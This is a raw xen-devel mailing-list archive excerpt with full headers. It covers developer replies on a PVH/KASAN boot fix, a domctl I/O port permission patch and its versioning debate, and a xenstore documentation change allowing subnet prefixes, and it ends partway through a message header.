Received: by outflank-mailman (input) for mailman id 1367955;
 Tue, 21 Jul 2026 15:59:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wmCs3-0006sY-Rf
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 15:59:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmCs3-00FUzT-7r
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 17:59:03 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f9716-5cb7-0a2a0a5109dd-0a2a4509d204-40
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:59:03 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a5f9746-be1a-0a2a45090019-d561b3388444-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 17:59:03 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wmCrn-001fvR-Is; Tue, 21 Jul 2026 17:58:47 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wmCrl-00G837-8e; Tue, 21 Jul 2026 17:58:47 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wmCrl-00000002Lef-0CG5;
 Tue, 21 Jul 2026 17:58:45 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To
	:From:Date:MIME-Version:From:Reply-To;
	bh=45Y0uuOLwXEQQWIgRHeQpvMWLQJKf0POYE3HeWycPKo=; b=j84dzjs+5ek335EePArwbOlKsq
	8A/vY2/5wLzzrIylsp9UXvipe+VSinhKyDbjMJldoYKAr3WdaEAcnxBUGQIvfuRzS1UBUXQ8eczG1
	09hJl/gvbxH7rHaFFJtkcb+1kWLtEPbclEwJ2GoX0CWznHCuQYSnCeQoDPnMWWuz2LtQyZ5K/sGPH
	LT4w7m2RCXZpUbFWGkQii1zjnXEyGxSeA9Vgr2xtkIOmUL8wBUDnTEYFp1jI/FfU9OzcgIDOkZGMi
	aIvYYuQPyyinTxW802So7tCUZl3fqasn6IMMQWxDbMHKtGLJ9CYfqs3B4Q2EKmcksutGZqkCzz68Y
	eoCAYWLA==;
MIME-Version: 1.0
Date: Tue, 21 Jul 2026 12:58:45 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Borislav Petkov <bp@alien8.de>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH v6 0/4] x86/pvh: fix unbootable VMs again (PVH + KASAN)
In-Reply-To: <20260718150230.GAaluVhlozNI__9IsA@fat_crate.local>
References: <20260701-pvh-kasan-inline-v6-0-ba99045dfa9f@igalia.com>
 <20260718150230.GAaluVhlozNI__9IsA@fat_crate.local>
Message-ID: <83f4af183354a1cfa67a5ebad092275c@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-bad1c0/1784649543-BD4C3034-05A370B8/0/0
X-purgate-type: clean
X-purgate-size: 560

On 2026-07-18 12:02, Borislav Petkov wrote:
> On Wed, Jul 01, 2026 at 08:13:49PM -0300, Mauricio Faria de Oliveira wrote:
>> The issue of unbootable VMs with CONFIG_PVH due to CONFIG_KASAN is back.
> 
> They look like preexisting issues but we probably should take care of them
> before we go forward:
> 
> https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
> 
> Thx.

Thanks for mentioning. Please see v7:

https://lore.kernel.org/all/20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com/

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 16:08:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 16:08:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367969.1617621 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmD0y-0002LO-Dn; Tue, 21 Jul 2026 16:08:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367969.1617621; Tue, 21 Jul 2026 16:08:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmD0y-0002LH-Ar; Tue, 21 Jul 2026 16:08:16 +0000
Received: by outflank-mailman (input) for mailman id 1367969;
 Tue, 21 Jul 2026 16:08:14 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wmD0w-0002K6-S5
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 16:08:14 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmD0w-000k1c-2h;
 Tue, 21 Jul 2026 16:08:14 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wmD0w-00BQ6B-0m;
 Tue, 21 Jul 2026 16:08:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=In-Reply-To:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=+a6aQGbPZOScWCYb5xrVBtkrB2fST9T41N9UrPExeyw=; b=68eiUV8oKksBQKES+LC72/6lL/
	AF6LTUXJiBqrhj3HG7CRUXrkSwCyDXjnotFzdOZsjU47ge/A/Payg3+N2UWbZ3FHrlivah8AafYJm
	JYbIp8Mu6grFVTxeFFtYzUauamem2R1BSSBaCJhruyBg/rKFu55uHYPgTJHIshXs4aKU=;
Date: Tue, 21 Jul 2026 18:08:08 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger@xenproject.org>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
Message-ID: <al-ZaKel5bSKcTp8@macbook.local>
References: <65f69026-f284-4cfd-b502-8d8955b412f5@suse.com>
 <724bd14c-ebba-4e29-be7c-012aa7aa82b2@suse.com>
 <al-G7l2IM736d-Q6@macbook.local>
 <05425d51-965f-4176-a297-c5e6f966d886@suse.com>
 <al-LGwlNXH5EfsAw@macbook.local>
 <5653aede-dbff-405d-9df7-2edb7d8180d1@suse.com>
 <75581474-8ef4-48c4-8c19-fc0549730552@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <75581474-8ef4-48c4-8c19-fc0549730552@suse.com>

On Tue, Jul 21, 2026 at 05:36:37PM +0200, Jan Beulich wrote:
> On 21.07.2026 17:34, Jan Beulich wrote:
> > On 21.07.2026 17:07, Roger Pau MonnÃ© wrote:
> >> On Tue, Jul 21, 2026 at 04:57:36PM +0200, Jan Beulich wrote:
> >>> On 21.07.2026 16:49, Roger Pau MonnÃ© wrote:
> >>>> On Tue, Jun 30, 2026 at 03:54:04PM +0200, Jan Beulich wrote:
> >>>>> Rather than granting permissions when mapping (an operation that DM-s are
> >>>>> allowed to carry out, while they can't invoke ioport-permission), check
> >>>>> whether permissions actually were granted when adding a mapping. This then
> >>>>> also allows relaxing the necessary locking.
> >>>>>
> >>>>> While no longer granting permissions upon mapping is "only" at risk of
> >>>>> breaking guests, no longer revoking permissions upon unmapping strictly
> >>>>> requires callers to additionally invoke XEN_DOMCTL_ioport_permission. Or
> >>>>> else a security issue would arise. In-tree code already does so.
> >>>>>
> >>>>> While there switch to using %pd in the two log messages.
> >>>>>
> >>>>> Fixes: 192c4dabc344 ("domctl and p2m changes for PCI passthru")
> >>>>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> >>>>
> >>>> It's difficult to not think about someone appearing in 3 or 4 years
> >>>> complaining that this change in behavior has caused them a security
> >>>> issue, but I do agree that the previous behavior was inconsistent at
> >>>> best:
> >>>
> >>> A positive aspect here is that the similar change for MMIO went without
> >>> any fallout, as far as I'm aware.
> >>>
> >>>> Acked-by: Roger Pau MonnÃ© <roger@xenproject.org>
> >>>
> >>> Thanks, but ...
> >>>
> >>>> However you need to bump XEN_DOMCTL_INTERFACE_VERSION to note the ABI
> >>>> change as we are in 4.23 now.
> >>>
> >>> ... there's no interface change here. A bump therefore won't buy us
> >>> anything. I'm hesitant to take your ack as long as we disagree here.
> >>
> >> It's not an interface change, but it's a change in behavior of an
> >> existing hypercall in a security-relevant way, so people would
> >> generally need to be aware of it, just in case.
> > 
> > But the interface version bump won't necessarily make anyone aware. Things
> > will continue to build as before, and there's also no binary incompatibility.
> > The best way of making people aware is the ChangeLog entry that iirc you had
> > asked for (and that's now there).
> 
> I should probably add that bumping the interface version now also wouldn't do
> any harm; there's at least one other series pending which wants to do this
> anyway in this starting release cycle. Yet I still think the bumping doesn't
> quite belong here.

I was going to say - it's very likely the interface will be bumped
anyway.  I'm not going to insist, the text in domctl.h does mention
that the interface should only be bumped "in case the interface is
modified in an incompatible way", and you might argue there's no
interface change here at all, as the interface stays the same, what
changes is the underlying implementation.

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 22 07:14:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 07:14:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368147.1617631 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRA1-0004fn-8U; Wed, 22 Jul 2026 07:14:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368147.1617631; Wed, 22 Jul 2026 07:14:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRA1-0004fg-5c; Wed, 22 Jul 2026 07:14:33 +0000
Received: by outflank-mailman (input) for mailman id 1368147;
 Wed, 22 Jul 2026 07:14:32 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmRA0-0004fZ-9n
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 07:14:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmR9z-00FIdP-Mm
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:14:31 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a606dca-5cb7-0a2a0a5109dd-0a2a4505ea34-34
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:14:31 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a606dd7-4cb1-0a2a45050019-d155dd2be17a-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:14:31 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47de0093c42so7074636f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 00:14:31 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a596sm3823024f8f.4.2026.07.22.00.14.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 00:14:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784704471; x=1785309271; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=PVIpRaAAodoT/XR50XGa8tPCIZvYb+hSlXhKadGyyeE=;
        b=Usp4YjeJ+iABgEiCliKzO583+CJtCXan8dLNfH+guOxJ+bns77Z9izgGSSwm+EUsNE
         o7kVLI+BNd5T54eR1M2KKsOYDeEQx+MDDe3A7o4VI0OHVpenvXA3eM1bNLVAbWBg1Cz5
         E61cWn/Iakro1VDZy8pl6mGloCAu6YuOUmoW2acYz97kRVbaw4l3vVAygGEScEcr6R0o
         h+hgVCbecjDPmCnNFrASwJF0nXU4UKY3oBS37+6fkBxN8laGWecickt2EPqNvvauYbh4
         OLr9UB4QV4MEYnhZ4ef5osa1STqFClxDfh825kiQ8tuXtVxsgMykDRxOVGx5a82a8UTJ
         7nfw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784704471; x=1785309271;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=PVIpRaAAodoT/XR50XGa8tPCIZvYb+hSlXhKadGyyeE=;
        b=IdLicgrXR76XHhNJwWJyzVoMUIGBEb2C2Zl0Mu+G4pTT/IDuuflq9iBIbSxmEWM9Qe
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FT3EBdKi6Q1cbPGPcuqVu8WYQimBVENAQ==
X-Received: by 2002:a05:6000:3113:b0:474:cd60:1160 with SMTP id ffacd0b85a97d-47f623283e4mr25216776f8f.46.1784704471014;
        Wed, 22 Jul 2026 00:14:31 -0700 (PDT)
Message-ID: <681d6703-6310-4ad0-a270-b5e677ee5811@suse.com>
Date: Wed, 22 Jul 2026 09:14:29 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xenstore-paths: Allow subnet prefix in IP address
To: Tu Dinh <ngoc-tu.dinh@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org,
 Juergen Gross <jgross@suse.com>
References: <1780912172.8631fc262581453bbf619ec5b2062170.19ea6a32f2f000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ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H7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1780912172.8631fc262581453bbf619ec5b2062170.19ea6a32f2f000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784704471-F4AA72A1-D3729871/0/0
X-purgate-type: clean
X-purgate-size: 1837

On 08.06.2026 11:49, Tu Dinh wrote:
> In the guest-reported IP address in xenstore, it's useful to know which
> subnet it belongs to.
> 
> Add a specification for the IPv6 host address/prefix format specified by
> RFC 4291.
> 
> For the IPv4 address/prefix notation, as there seems to be no equivalent
> RFC specifying the host address/prefix format, specify it ourselves.
> 
> Signed-off-by: Tu Dinh <ngoc-tu.dinh@vates.tech>

Btw, even if get_maintainer.pl doesn't say so, it would help to Cc the
maintainer of the component the doc for which is being modified.

Jan

> --- a/docs/misc/xenstore-paths.pandoc
> +++ b/docs/misc/xenstore-paths.pandoc
> @@ -78,12 +78,12 @@ VALUES are strings and can take the following forms:
>  
>  * MAC_ADDRESS -- 6 integers, in hexadecimal form, separated by ':',
>                   specifying an IEEE 802.3 ethernet MAC address.
> -* IPV4_ADDRESS -- 4 integers, in decimal form, separated by '.',
> -                  specifying an IP version 4 address as described
> -                  IETF RFC 791.
> -* IPV6_ADDRESS -- Up to 8 integers, in hexadecimal form, separated
> -                  by ':', specifying an IP version 6 address as
> -                  described in IETF RFC 4291.
> +* IPV4_ADDRESS -- An IP version 4 address as specified by IETF RFC 791,
> +                  optionally appended with a "/prefix" value representing the
> +                  prefix length of the host address's subnet, with "prefix"
> +                  being a decimal integer in the range of 0 to 32.
> +* IPV6_ADDRESS -- An IP version 6 address or abbreviated "address/prefix"
> +                  combination as specified by IETF RFC 4291 and RFC 5952.
>  
>  Additional TAGS may follow as a comma separated set of the following
>  tags enclosed in square brackets.



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 07:19:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 07:19:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368156.1617640 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRF4-0005hK-Pc; Wed, 22 Jul 2026 07:19:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368156.1617640; Wed, 22 Jul 2026 07:19:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmRF4-0005hD-My; Wed, 22 Jul 2026 07:19:46 +0000
Received: by outflank-mailman (input) for mailman id 1368156;
 Wed, 22 Jul 2026 07:19:45 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wmRF3-0005h7-Lo
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 07:19:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmRF2-00EeqY-Rf
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 09:19:44 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a606f0b-bab6-0a2a0a5309dd-0a2a450b94ac-8
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:19:44 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a606f10-b7e8-0a2a450b0019-d1558032d840-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 09:19:44 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-49547fc63a0so25964845e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 00:19:44 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956537c6besm115844845e9.8.2026.07.22.00.19.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 22 Jul 2026 00:19:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784704784; x=1785309584; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=GYfrHYMdUAdnXkzp0AqDONGHxfephlOlXI+ZXomHBXs=;
        b=Z8kMnqUvr6zMgz3soJIE6Uoib0ql2gNvay5HQL8GCLiEr24NmlXbgQoNTDFODPdqtu
         sYtHNpEEKPe9J9QhQpBRPDy8uNS76a/4rKWKMpe/ZOqGgGaBUZYkn1GMaZeL5PQIsqwY
         F16cngLtwBRO+F52RmMIi6CAMa/waSgXfbgTc1TnArQU9wvPdGbmujNmroIXxLXWV4LJ
         99TMCTudjFOvAIoMle4J31G/I6dcy2BiVV294d8372KYgyyKVNLkOIFlJqxpytqC3D8F
         OGe87fI6b+uzq+hHyU8cea5QzovjMu/bzx2EztNf9eOXvr5xBbqDuzAfkj3VvehvYmIm
         EbJQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784704784; x=1785309584;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=GYfrHYMdUAdnXkzp0AqDONGHxfephlOlXI+ZXomHBXs=;
        b=nZ4fx3fUizn7far+2kfzqQaJ8k0tVMoRQosjlz29ck7jpeh0FqJbNMtEKkvQnpTPDL
         H76zSaZV2bAkRVf+4h5DPKUf/xwLU/T8crzQAruKijyko2NEsy/FHKsmF/ExDiR+ixTp
         5+16hikSh/QmbsVJxSVL6VW8HnP3ZhCBdbAym+bs72tFbYNCw2CpGmMUacnjwgataoVA
         DHTYxFTRcLAWm1iAQidzjwB8VxcY70NCRpT42pErhmzVMmdKcMFZicJTwG68qkCvtSdz
         4o0pggiMGflR7mBB4OwRkguSN46kZz+Qhez2NYqrDtEcr3PbdviO/IemU37MqmK9J6Ny
         QBsQ==
X-Forwarded-Encrypted: i=1; AHgh+RpqBUkpT7hfY2ohLeXGtI8PNb2LderRsunZv6XU8fq1SKDmVyViPxVAhs48SVEuhRD0JJKWc6D1cQI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwPYya8HOhmaM9JV/XdNZDOJJS/B6HvGpxEZXbTabB7Mnxc4ae0
	L6D4gBofJbhgcQuy6SFlbK4u6csmAxcpYnbT3eyUBCap81j5Ty+ZlwBA
X-Gm-Gg: AR+sD13rYJnURb2oiZ9t6NXAdVhW7GIvl1A999ManfHlhVw8rAPda4Zpqx1jj5O+lrP
	j+36UlKTbw6eBs8BsVY9d8ma7qb1vZNVSWqPQ3xXDe1q0i/WCwkykDRfNI/W4F94C8JVduV5xXl
	oiXvVl8bYuMBKwJEwszZZI9Ehz3+M2LoXk9dqhvsusytX4v50vwP8xp6GNzbyQOHpXbo2M7Akmd
	SkvHpCDEShaXPoK0qTTvO8MknZox177kq/CryyKpEzY7jV6smKjWMy5O2DPkg/IsNUACCYdl/RZ
	nHa0yHl0BUk/IqlDM0zN/GkPrZhG4Zc7220aSmeLjdLBOyubSE1EVwXhZUoBVHT5leO+UaqGIux
	Gkilm/Ybo36nX9BIyUxHw+TaauyAoc4MMAOxCz+sc2CXfMCS0+sMrEUjIamsGsWXsaf8rTiVIM7
	cZEfIE7d8ax6mYRucFtb1Hv2qoeDYpxWVmqbhhecRmS1m/mwSoAFi4swsSzbxjhhIkFiY=
X-Received: by 2002:a05:600c:190b:b0:495:4d35:5eab with SMTP id 5b1f17b1804b1-4954d5a2d76mr217568305e9.24.1784704784027;
        Wed, 22 Jul 2026 00:19:44 -0700 (PDT)
Message-ID: <09e5a478-6337-480b-bd5f-f4d4e11e9861@gmail.com>
Date: Wed, 22 Jul 2026 09:19:42 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/2] x86/domctl: don't imply I/O port permissions from
 I/O port mapping
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
